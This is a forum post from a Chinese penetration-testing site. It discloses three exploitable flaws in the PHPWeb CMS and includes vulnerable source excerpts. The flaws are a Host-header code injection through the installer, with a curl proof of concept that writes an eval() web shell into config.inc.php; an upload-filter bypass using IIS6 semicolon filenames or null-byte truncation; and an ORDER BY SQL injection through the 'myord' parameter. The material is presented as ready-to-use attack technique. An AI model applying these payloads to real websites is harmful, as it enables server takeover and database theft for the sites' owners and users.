中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin 时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入：

之所以鸡肋就是该漏洞利用安装文件重新生成配置文件写入可执行代码

鸡肋1：具有破坏性动作非常大重新写了配置文件数据库连接文件
鸡肋2：有一定安全常识的站长都会删掉 install 目录

虽然鸡肋但也有优点：不受 magic_quotes_gpc 、 webserver 影响

分析：

$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤

                                          $filestr = fread(fopen($SysConfigFile, 'r'),30000);
                                          $filestr=str_replace(" ","",$filestr);
                                          $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
                                          $filestr=str_replace("DefaultDbName",$dbname,$filestr);
                                          $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
                                          $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
                                          $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
                                          $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
                                          $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);

                                          fwrite(fopen($ConFile,"w"),$filestr,30000);
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc：

?
1
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
shell地址: /config.inc.php
跟之前的 phpcms一样需要远程数据库

——————————————————–
上传漏洞(需要进后台)：
漏洞文件: /kedit/upload_cgi/upload.php
这个很多人都知道,但是很鸡肋 iis6 解析或 GPC off条件下才可利用

<?php
define("ROOTPATH", "../../");
include(ROOTPATH."includes/admin.inc.php");
NeedAuth(0);

$dt=date("Ymd",time());
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
         @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
}

//文件保存目录路径
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
echo $save_path;
//文件保存目录URL
$save_url = '../../'.$_POST['attachPath'].$dt.'/';

//定义允许上传的文件扩展名
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀

//最大文件大小
$max_size = 1000000;

//更改目录权限
@mkdir($save_path, 0777);

//文件的全部路径
$file_path = $save_path.$_POST['fileName']; //保存文件名

//文件URL
$file_url = $save_url.$_POST['fileName'];
//有上传文件时
if (empty($_FILES) === false) {

         //原文件名
         $file_name = $_FILES['fileData']['name'];
         //服务器上临时文件名
         $tmp_name = $_FILES['fileData']['tmp_name'];
         //文件大小
         $file_size = $_FILES['fileData']['size'];
         //检查目录
         if (@is_dir($save_path) === false) {
                  alert("上传目录不存在。");
         }
         //检查目录写权限
         if (@is_writable($save_path) === false) {
                  alert("上传目录没有写权限。");
         }
         //检查是否已上传
         if (@is_uploaded_file($tmp_name) === false) {
                  alert("临时文件可能不是上传文件。");
         }
         //检查文件大小
         if ($file_size > $max_size) {
                  alert("上传文件大小超过限制。");
         }
         //获得文件扩展名
         $temp_arr = explode(".", $_POST['fileName']);
         $file_ext = array_pop($temp_arr);
         $file_ext = trim($file_ext);
         $file_ext = strtolower($file_ext);

         //检查扩展名
         if (in_array($file_ext, $ext_arr) === false) {
                  alert("上传文件扩展名是不允许的扩展名。");
         }

         //移动文件
         //未重命名虽然过滤了后缀 iis 6解析漏洞 ^ _ ^
         if (move_uploaded_file($tmp_name, $file_path) === false) {
                  alert("上传文件失败。");
         }

         @chmod($file_path,0666);

?>
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227

apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断绕过

——————————————————
注入漏洞：
漏洞文件:search/module/search.php
/search/index.php?key=1&myord=1 [sqlinjection]

<?php
//    ... 省略 n 行...
//第18行:
         $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体编码 , mysql 注入不受此影响
         $page=htmlspecialchars($_GET["page"]);
         $myord=htmlspecialchars($_GET["myord"]);

//    ... 省略 n 行...
$key,$myord 两个参数带入查询
//第47行 $key:

$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询但使用的是regexp 不知如何绕过..

//第197行 $myord
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入

?>

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)